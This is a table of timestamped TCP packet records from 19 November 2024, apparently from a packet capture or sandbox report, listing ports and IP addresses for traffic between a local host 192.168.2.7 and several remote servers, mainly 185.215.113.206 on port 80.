Nov 19, 2024 20:05:47.905301094 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905313969 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905333996 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.905333996 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.905424118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905435085 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905447006 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905458927 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905468941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.905468941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.905544043 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905577898 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.905577898 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.905628920 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905641079 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905683994 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.905832052 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905929089 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905941963 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905971050 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906025887 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906039953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906056881 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906069994 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906092882 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906111956 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906111956 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906111956 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906128883 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906152964 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906224966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906235933 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906246901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906282902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906282902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906364918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906377077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906388044 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906402111 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906405926 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906419039 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906430006 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906440973 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906444073 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906475067 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906475067 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906640053 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906656981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906668901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906680107 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906691074 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906706095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906706095 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906821012 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906878948 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906888962 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906899929 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906913042 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906923056 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906934977 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906934977 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.906938076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.906956911 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:47.906975031 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.907025099 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.907093048 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907104015 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907136917 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.907150030 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907159090 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907177925 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.907177925 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.907206059 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.907254934 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907267094 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907278061 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907290936 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907322884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.907322884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.907337904 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:47.907347918 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:47.907701015 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907711983 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907716036 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:47.907725096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907737970 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.907737970 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907757998 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907767057 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907778978 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907792091 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907793999 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.907793999 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.907804012 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907813072 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.907815933 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907828093 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907839060 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.907862902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.907862902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.908004045 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.908016920 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.908027887 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.908035994 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:47.908040047 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.908047915 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.908051968 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.908063889 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.908076048 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.908087015 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.908087015 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.908087969 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.908101082 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.908139944 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.908139944 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.908301115 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:47.908370972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.908384085 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.908407927 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.908469915 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:47.908489943 CET	52509	443	192.168.2.7	65.52.241.40
Nov 19, 2024 20:05:47.908494949 CET	443	52509	65.52.241.40	192.168.2.7
Nov 19, 2024 20:05:47.908508062 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.957680941 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.957758904 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.957797050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.957808971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.957820892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.957834005 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.957849026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.957860947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.957865953 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.957865953 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.957873106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.957885981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.957886934 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.957909107 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.957926035 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.957937002 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.957941055 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.957951069 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.957962036 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.957973957 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.957976103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.957976103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.957983017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958000898 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958014965 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958017111 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.958024979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958036900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958039045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.958049059 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958060980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958077908 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.958077908 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.958080053 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958091974 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958105087 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958106995 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.958113909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958127022 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958129883 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.958137989 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958149910 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958161116 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958172083 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958177090 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.958184004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958195925 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.958199978 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958211899 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958220959 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958240986 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958245039 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.958245039 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.958251953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958257914 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958268881 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958273888 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.958286047 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.958286047 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.958326101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.977798939 CET	443	52506	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.978235006 CET	52506	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.978270054 CET	443	52506	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.978293896 CET	443	52507	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.978681087 CET	52506	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.978688002 CET	443	52506	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.979037046 CET	52507	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.979059935 CET	443	52507	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.979526043 CET	52507	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.979531050 CET	443	52507	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.981637955 CET	443	52505	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.981993914 CET	52505	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.982007980 CET	443	52505	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.982430935 CET	52505	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:47.982434988 CET	443	52505	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:47.985656977 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.985682964 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.985728025 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.985749006 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.985783100 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.985805988 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.986716986 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.986732006 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.986840963 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.986856937 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.986907005 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.987219095 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.987235069 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.987281084 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.987296104 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.987354994 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.988264084 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.988279104 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.988338947 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.988358021 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.988390923 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.988450050 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.989162922 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.989181995 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.989237070 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.989249945 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.989301920 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.990124941 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.990144014 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.990211964 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.990225077 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.990272045 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.991177082 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.991240978 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.991261959 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.991276026 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.991306067 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.991355896 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.992230892 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.992249966 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.992292881 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.992310047 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.992341995 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.992368937 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.993036032 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.993050098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.993067980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.993135929 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.993135929 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.993190050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.993202925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.993213892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.993230104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.993232012 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.993241072 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.993264914 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.993264914 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.993285894 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.993696928 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.993710041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.993725061 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.993736029 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.993751049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.993758917 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.993802071 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.993802071 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.994009018 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994021893 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994034052 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994082928 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.994082928 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.994177103 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994188070 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994194984 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994199991 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994211912 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994225025 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994237900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994261980 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.994261980 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.994280100 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.994491100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994503021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994646072 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994658947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994669914 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.994669914 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994683981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994695902 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994698048 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.994709015 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994718075 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.994721889 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994750977 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.994786024 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.994803905 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994816065 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994827986 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994858980 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.994858980 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.994971037 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994983912 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.994995117 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995007038 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995024920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.995074034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.995132923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995143890 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995156050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995167971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995183945 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.995206118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.995242119 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.995287895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995306969 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995356083 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.995374918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995387077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995424986 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.995479107 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995492935 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995505095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995521069 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.995558023 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.995646000 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995665073 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995678902 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995691061 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995701075 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995713949 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995726109 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995728970 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.995728970 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.995748043 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.995768070 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.995795965 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995807886 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995819092 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995829105 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.995857954 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.995877981 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.995982885 CET	80	52448	185.215.113.206	192.168.2.7
